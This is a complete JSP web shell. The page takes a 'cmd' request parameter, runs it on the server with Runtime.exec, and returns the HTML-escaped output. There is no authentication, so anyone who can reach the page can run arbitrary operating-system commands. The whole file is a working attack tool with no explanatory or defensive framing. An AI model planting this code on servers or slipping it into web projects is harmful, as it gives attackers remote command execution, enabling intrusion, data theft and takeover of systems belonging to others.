<%!
public String esc(String str){
StringBuffer sb = new StringBuffer();
for(char c : str.toCharArray())
if( c >= '0' && c <= '9' || c >= 'A' && c <= 'Z' || c >= 'a' && c <= 'z' || c == ' ' )
sb.append( c );
else
sb.append("&#"+(int)(c&0xff)+";");
return sb.toString();
} %><%
String cmd = request.getParameter("cmd");
if ( cmd != null) {
out.println("Command was: "+esc(cmd)+"\n");
java.io.DataInputStream in = new java.io.DataInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
String line = in.readLine();
while( line != null ){
out.println(esc(line));
line = in.readLine();
}
out.println("");
} %>